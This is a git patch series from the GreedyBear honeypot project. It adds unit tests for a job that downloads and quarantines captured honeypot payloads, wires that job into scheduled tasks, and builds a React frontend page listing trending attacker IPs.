"""Job should handle download errors for individual payloads gracefully.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [ + {"sha256": "a" * 64, "locator": "cowrie/aaa"}, + ] + + # First call returns metadata, second call (download) raises error. + mock_client.get.side_effect = [ + mock_metadata_resp, + requests.ConnectionError("download failed"), + ] + mock_usage.return_value = 0 + + self.job.run() + + # Download failed, so no payload record should exist. + self.assertEqual(HoneypotPayload.objects.count(), 0) + + @override_settings(QUARANTINE_DIR="/tmp/test_quarantine_nonexistent_path") + def test_quarantine_usage_returns_zero_for_missing_dir(self): + """_quarantine_usage_bytes should return 0 if quarantine dir doesn't exist.""" + result = self.job._quarantine_usage_bytes() + self.assertEqual(result, 0) + + +class TestExtractAllPayloadIntegration(CustomTestCase): + """Test that extract_all calls extract_honeypot_payloads.""" + + @patch("greedybear.tasks.extract_honeypot_payloads") + @patch("greedybear.cronjobs.extract.ExtractionJob") + @patch("greedybear.tasks.datetime") + def test_extract_all_calls_payload_extraction(self, mock_datetime, mock_job, mock_payload_extract): + """extract_all should always call extract_honeypot_payloads.""" + from datetime import datetime as real_datetime + + mock_datetime.now.return_value = real_datetime(2026, 1, 1, 10, 30) + + from greedybear.tasks import extract_all + + extract_all() + + mock_job().execute.assert_called_once() + mock_payload_extract.assert_called_once() + + @patch("greedybear.tasks.train_and_update") + @patch("greedybear.tasks.extract_honeypot_payloads") + @patch("greedybear.cronjobs.extract.ExtractionJob") + @patch("greedybear.tasks.datetime") + def test_extract_all_calls_both_at_midnight(self, mock_datetime, mock_job, mock_payload, mock_train): + """At midnight, extract_all should call both train_and_update and extract_honeypot_payloads.""" + from datetime import datetime as real_datetime + + mock_datetime.now.return_value = real_datetime(2026, 1, 1, 0, 0) + + from greedybear.tasks import extract_all + + extract_all() + + mock_job().execute.assert_called_once() + mock_train.assert_called_once() + mock_payload.assert_called_once() + + +class TestExtractHoneypotPayloadsTask(CustomTestCase): + """Test the extract_honeypot_payloads task wrapper.""" + + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob.execute") + def test_task_calls_execute(self, mock_execute): + from greedybear.tasks import extract_honeypot_payloads + + extract_honeypot_payloads() + mock_execute.assert_called_once() diff --git a/tests/test_tasks.py b/tests/test_tasks.py index 964726697..53f3109dc 100644 --- a/tests/test_tasks.py +++ b/tests/test_tasks.py @@ -7,10 +7,11 @@ class TestExtractAllTrainingTrigger(CustomTestCase): """Test that extract_all triggers training only on the first run after midnight.""" + @patch("greedybear.tasks.extract_honeypot_payloads") @patch("greedybear.tasks.train_and_update") @patch("greedybear.cronjobs.extract.ExtractionJob") @patch("greedybear.tasks.datetime") - def test_triggers_training_at_midnight(self, mock_datetime, mock_job, mock_train): + def test_triggers_training_at_midnight(self, mock_datetime, mock_job, mock_train, mock_payload): mock_datetime.now.return_value = datetime(2026, 1, 1, 0, 0) from greedybear.tasks import extract_all @@ -19,12 +20,14 @@ def test_triggers_training_at_midnight(self, mock_datetime, mock_job, mock_train mock_job().execute.assert_called_once() mock_train.assert_called_once() + mock_payload.assert_called_once() + @patch("greedybear.tasks.extract_honeypot_payloads") @patch("greedybear.tasks.train_and_update") @patch("greedybear.cronjobs.extract.ExtractionJob") @patch("greedybear.tasks.datetime") @patch("greedybear.tasks.EXTRACTION_INTERVAL", 2) - def test_triggers_training_shortly_after_midnight(self, mock_datetime, mock_job, mock_train): + def test_triggers_training_shortly_after_midnight(self, mock_datetime, mock_job, mock_train, mock_payload): mock_datetime.now.return_value = datetime(2026, 1, 1, 0, 1) from greedybear.tasks import extract_all @@ -33,12 +36,14 @@ def test_triggers_training_shortly_after_midnight(self, mock_datetime, mock_job, mock_job().execute.assert_called_once() mock_train.assert_called_once() + mock_payload.assert_called_once() + @patch("greedybear.tasks.extract_honeypot_payloads") @patch("greedybear.tasks.train_and_update") @patch("greedybear.cronjobs.extract.ExtractionJob") @patch("greedybear.tasks.datetime") @patch("greedybear.tasks.EXTRACTION_INTERVAL", 2) - def test_does_not_trigger_training_on_next_extraction(self, mock_datetime, mock_job, mock_train): + def test_does_not_trigger_training_on_next_extraction(self, mock_datetime, mock_job, mock_train, mock_payload): mock_datetime.now.return_value = datetime(2026, 1, 1, 0, 2) from greedybear.tasks import extract_all @@ -47,11 +52,13 @@ def test_does_not_trigger_training_on_next_extraction(self, mock_datetime, mock_ mock_job().execute.assert_called_once() mock_train.assert_not_called() + mock_payload.assert_called_once() + @patch("greedybear.tasks.extract_honeypot_payloads") @patch("greedybear.tasks.train_and_update") @patch("greedybear.cronjobs.extract.ExtractionJob") @patch("greedybear.tasks.datetime") - def test_does_not_trigger_training_outside_midnight(self, mock_datetime, mock_job, mock_train): + def test_does_not_trigger_training_outside_midnight(self, mock_datetime, mock_job, mock_train, mock_payload): mock_datetime.now.return_value = datetime(2026, 1, 1, 10, 55) from greedybear.tasks import extract_all @@ -60,6 +67,7 @@ def test_does_not_trigger_training_outside_midnight(self, mock_datetime, mock_jo mock_job().execute.assert_called_once() mock_train.assert_not_called() + mock_payload.assert_called_once() class TestTasks(CustomTestCase): @@ -78,6 +86,7 @@ def test_simple_wrapper_tasks(self): ("get_tor_exit_nodes", "greedybear.cronjobs.tor_exit_nodes.TorExitNodesCron"), ("enrich_threatfox", "greedybear.cronjobs.threatfox_feed.ThreatFoxCron"), ("enrich_abuseipdb", "greedybear.cronjobs.abuseipdb_feed.AbuseIPDBCron"), + ("extract_honeypot_payloads", "greedybear.cronjobs.payload_extraction.PayloadExtractionJob"), ] from greedybear import tasks From d46922ba392d675c2f568064e527c50b4e95c7be Mon Sep 17 00:00:00 2001 From: Arnav Vinod Deshpande Date: Mon, 13 Jul 2026 17:37:58 +0530 Subject: [PATCH 066/131] Frontend for Trending attackers feed. Closes #1071 (#1433) * frontend pr * linters * refresh block fixed * action/refresh * guards and fallbacks --- frontend/src/components/Routes.jsx | 6 + frontend/src/components/feeds/Feeds.jsx | 30 +- .../src/components/feeds/FeedsTrending.jsx | 274 ++++++++++++++++++ frontend/src/constants/api.js | 1 + frontend/src/layouts/AppHeader.jsx | 15 +- frontend/src/styles/App.scss | 11 + .../components/feeds/FeedsTrending.test.jsx | 198 +++++++++++++ 7 files changed, 513 insertions(+), 22 deletions(-) create mode 100644 frontend/src/components/feeds/FeedsTrending.jsx create mode 100644 frontend/tests/components/feeds/FeedsTrending.test.jsx diff --git a/frontend/src/components/Routes.jsx b/frontend/src/components/Routes.jsx index 150b64bcd..9a3b3b4e6 100644 --- a/frontend/src/components/Routes.jsx +++ b/frontend/src/components/Routes.jsx @@ -14,6 +14,7 @@ const ResetPassword = React.lazy(() => import("./auth/ResetPassword")); const Dashboard = React.lazy(() => import("./dashboard/Dashboard")); const Sessions = React.lazy(() => import("./me/sessions/Sessions")); const Feeds = React.lazy(() => import("./feeds/Feeds")); +const FeedsTrending = React.lazy(() => import("./feeds/FeedsTrending")); const ChangePassword = React.lazy( () => import("./me/changepassword/ChangePassword"), ); @@ -38,6 +39,11 @@ const publicRoutesLazy = [ element: , withErrorBoundary: true, }, + { + path: "/feeds/trending", + element: , + withErrorBoundary: true, + }, ].map((r) => ({ ...r, element: ( diff --git a/frontend/src/components/feeds/Feeds.jsx b/frontend/src/components/feeds/Feeds.jsx index f948b191a..8f6d4b242 100644 --- a/frontend/src/components/feeds/Feeds.jsx +++ b/frontend/src/components/feeds/Feeds.jsx @@ -97,9 +97,6 @@ function FeedsTable({ tableParams, onDataLoad, onSortChange }) { } export default function Feeds() { - console.debug("Feeds rendered!"); - console.debug("Feeds-DEFAULT_VALUES", DEFAULT_VALUES); - const [searchParams, setSearchParams] = useSearchParams(); const formikRef = React.useRef(null); @@ -149,7 +146,6 @@ export default function Feeds() { url: `${GENERAL_HONEYPOT_URI}?onlyActive=true`, headers: { "Content-Type": "application/json" }, }); - console.debug("Feeds-honeypots:", honeypots); const honeypotFeedsType = React.useMemo( () => @@ -190,21 +186,17 @@ export default function Feeds() { // callbacks const onSubmit = React.useCallback( (values) => { - try { - setFeedsState((prev) => ({ - url: `${FEEDS_BASE_URI}/${values.feeds_type}/${values.attack_type}/${values.prioritize}.json?ioc_type=${values.ioc_type}`, - tableParams: { - feed_type: values.feeds_type, - attack_type: values.attack_type, - ioc_type: values.ioc_type, - prioritize: values.prioritize, - }, - tableKey: prev.tableKey + 1, - })); - updateSearchParams(values); - } catch (e) { - console.debug(e); - } + setFeedsState((prev) => ({ + url: `${FEEDS_BASE_URI}/${values.feeds_type}/${values.attack_type}/${values.prioritize}.json?ioc_type=${values.ioc_type}`, + tableParams: { + feed_type: values.feeds_type, + attack_type: values.attack_type, + ioc_type: values.ioc_type, + prioritize: values.prioritize, + }, + tableKey: prev.tableKey + 1, + })); + updateSearchParams(values); }, [updateSearchParams], ); diff --git a/frontend/src/components/feeds/FeedsTrending.jsx b/frontend/src/components/feeds/FeedsTrending.jsx new file mode 100644 index 000000000..a4a48e1eb --- /dev/null +++ b/frontend/src/components/feeds/FeedsTrending.jsx @@ -0,0 +1,274 @@ +import React from "react"; +import { + Container, + Row, + Col, + FormGroup, + Label, + Button, + Badge, +} from "reactstrap"; + +import { + ContentSection, + Select, + useAxiosComponentLoader, +} from "@greedybear/gb-ui"; + +import { FEEDS_TRENDING_URI, GENERAL_HONEYPOT_URI } from "../../constants/api"; +import { MultiSelectDropdown } from "./MultiSelectDropdown"; + +const DEFAULT_PARAMS = Object.freeze({ + feed_type: "all", + window_minutes: "60", + limit: "10", +}); + +function TrendDeltaBadge({ delta }) { + if (!Number.isFinite(delta)) { + return -; + } + + const color = delta > 0 ? "danger" : delta < 0 ? "success" : "secondary"; + const prefix = delta > 0 ? "+" : ""; + return {`${prefix}${delta}`}; +} + +const windowChoices = [ + { label: "1 hour", value: "60" }, + { label: "2 hours", value: "120" }, + { label: "4 hours", value: "240" }, + { label: "8 hours", value: "480" }, + { label: "24 hours", value: "1440" }, +]; + +const limitChoices = [ + { label: "10 attackers", value: "10" }, + { label: "25 attackers", value: "25" }, + { label: "50 attackers", value: "50" }, + { label: "100 attackers", value: "100" }, +]; + +function formatWindowDate(value) { + if (!value) return ""; + + const date = new Date(value); + if (Number.isNaN(date.getTime())) return String(value); + + return `${new Intl.DateTimeFormat("en-US", { + dateStyle: "medium", + timeStyle: "short", + timeZone: "UTC", + }).format(date)} UTC`; +} + +function formatGrowthScore(value) { + const score = Number(value); + return Number.isFinite(score) ? score.toFixed(2) : "-"; +} + +export default function FeedsTrending() { + const [params, setParams] = React.useState(DEFAULT_PARAMS); + const [draft, setDraft] = React.useState(DEFAULT_PARAMS); + const draftRef = React.useRef(DEFAULT_PARAMS); + + const [honeypots, HoneypotLoader] = useAxiosComponentLoader({ + url: `${GENERAL_HONEYPOT_URI}?onlyActive=true`, + headers: { "Content-Type": "application/json" }, + }); + + const [payload, Loader, refetchTrending] = useAxiosComponentLoader({ + url: FEEDS_TRENDING_URI, + params, + headers: { "Content-Type": "application/json" }, + }); + + const onChange = React.useCallback((event) => { + const { name, value } = event.target; + setDraft((current) => { + const nextDraft = { ...current, [name]: value }; + draftRef.current = nextDraft; + return nextDraft; + }); + }, []); + + const onSubmit = React.useCallback( + (event) => { + event.preventDefault(); + const submittedDraft = draftRef.current; + + if (JSON.stringify(submittedDraft) === JSON.stringify(params)) { + refetchTrending(); + return; + } + + setParams({ ...submittedDraft }); + }, + [params, refetchTrending], + ); + + const honeypotFeedType = React.useMemo( + () => + honeypots.map((honeypot) => ({ + label: honeypot, + value: honeypot.toLowerCase(), + })), + [honeypots], + ); + + const selectedFeedTypes = React.useMemo( + () => + draft.feed_type && draft.feed_type !== "all" + ? draft.feed_type + .split(",") + .map((value) => + honeypotFeedType.find((option) => option.value === value), + ) + .filter(Boolean) + : [], + [draft.feed_type, honeypotFeedType], + ); + + return ( + +
+
+

Trending Feed

+ + Compare consecutive completed attack windows and highlight rising + attackers. + +
+
+ + ( +
+ + + + + { + const value = + selected.length > 0 + ? selected.map((option) => option.value).join(",") + : "all"; + + setDraft((current) => { + const nextDraft = { + ...current, + feed_type: value, + }; + draftRef.current = nextDraft; + return nextDraft; + }); + }} + /> + + + + + + + + + + + + + + + +
+ )} + /> +
+ ( + +
+
+ {payload.count} + attackers +
+ + {formatWindowDate(payload.current_window?.start)} to{" "} + {formatWindowDate(payload.current_window?.end)} + +
+ {payload.attackers?.length ? ( +
+ + + + + + + + + + + + + {payload.attackers.map((attacker) => ( + + + + + + + + + ))} + +
Attacker IPCurrentPreviousDeltaGrowth ScoreRank Delta
{attacker.attacker_ip}{attacker.current_interactions}{attacker.previous_interactions} + + {formatGrowthScore(attacker.growth_score)}{attacker.rank_delta ?? "-"}
+
+ ) : ( +
+ No trending attackers found for the selected window. +
+ )} +
+ )} + /> +
+ ); +} diff --git a/frontend/src/constants/api.js b/frontend/src/constants/api.js index 710fd61c9..f148085b3 100644 --- a/frontend/src/constants/api.js +++ b/frontend/src/constants/api.js @@ -22,6 +22,7 @@ export const SESSIONS_BASE_URI = `${AUTH_BASE_URI}/sessions`; export const APIACCESS_BASE_URI = `${AUTH_BASE_URI}/apiaccess`; //feeds export const FEEDS_BASE_URI = `${API_BASE_URI}/feeds`; +export const FEEDS_TRENDING_URI = `${FEEDS_BASE_URI}/trending/`; //enrichment export const ENRICHMENT_URI = `${API_BASE_URI}/enrichment`; diff --git a/frontend/src/layouts/AppHeader.jsx b/frontend/src/layouts/AppHeader.jsx index c3f773fab..1bfded80e 100644 --- a/frontend/src/layouts/AppHeader.jsx +++ b/frontend/src/layouts/AppHeader.jsx @@ -8,7 +8,12 @@ import { NavbarToggler, } from "reactstrap"; import { NavLink as RRNavLink } from "react-router-dom"; -import { MdHome, MdOutlineFeed, MdDashboard } from "react-icons/md"; +import { + MdHome, + MdOutlineFeed, + MdDashboard, + MdTrendingUp, +} from "react-icons/md"; import { RiBookReadFill } from "react-icons/ri"; // lib @@ -58,8 +63,6 @@ const rightLinks = ( ); function AppHeader() { - console.debug("AppHeader rendered!"); - // local state const [isOpen, setIsOpen] = React.useState(false); @@ -97,6 +100,12 @@ function AppHeader() { Feeds + + + + Trending + + {/* Navbar Right Side */}